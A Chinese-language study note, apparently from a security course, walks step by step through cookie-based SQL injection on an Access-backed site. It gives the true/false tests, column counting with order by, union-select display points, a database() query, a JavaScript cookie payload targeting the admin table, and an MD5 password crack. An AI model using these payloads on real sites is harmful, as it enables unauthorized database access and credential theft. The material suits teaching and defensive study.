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删除id后抓包

第一步：判断目标网站是否有第一步：判断目标网站是否有sql注入漏洞。（盲注的核心）注入漏洞。（盲注的核心）

and 1=1 -> 页面有内容
and 1=2  -> 页面没内容
 ==>  网站是有sql注入漏洞了。

sql注入漏洞：我们在一个网站上，输入数据库语句，如果这个网站执行了，那么就说明这个网站存在数据库注入漏洞。
–》 逆推 。
假设这个网站存在数据库注入漏洞，那么我们输入的数据库，这个网站就会执行。



注：当使用cookie进行传参的时候，传参的内容是需要进行URL编码的。

注：在此之前应该用 and 1=1 先看一下页面是否返回正常，有时候报错是因为语句被过滤了，如果 and1=1返回页面正常，但是
and 1=2返回页面出错，那么表示存在SQL注入。



第二步：判断网站的表的列数第二步：判断网站的表的列数

order by 1 --> 页面有内容，说明网站的表里面有1列。
order by 2 --> 页面有内容，说明网站的表里面有2列。
order by 3 --> 页面没有内容，说明网站的表里面没有3列。
 ==> 只有2列。

第三步：判断回显点（显错的核心）第三步：判断回显点（显错的核心）

and 1=2 union select 1,2



注:因为该网站使用的是access数据库，语法很规矩，所以要加上 from 表名 ，如果是MySQL的话可以不用加。
纠错： “所以知道库名是admin”应该是“所以知道表名是admin”



注：回显点并不一定都会显示在网页上，这个时候需要去网页源代码里面看一看

第四步：查询相关数据第四步：查询相关数据

database() # 函数，作用：查库名的。
and 1=2 union select 1,database()  



将 b9a2a2b5dffb918c 进行MD5解码，得到welcome



方法2
步骤和方法一相同，但是方法二没有使用burp工具，cookie值也不需要进行url编码
简单演示一下

document.cookie = “id=” + escape(“171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin”) # 设置cookie 的方式，这个
javascript代码。
escape() # 函数，作用：url编码。

最后，感谢掌控安全杰斯老师的公开课!
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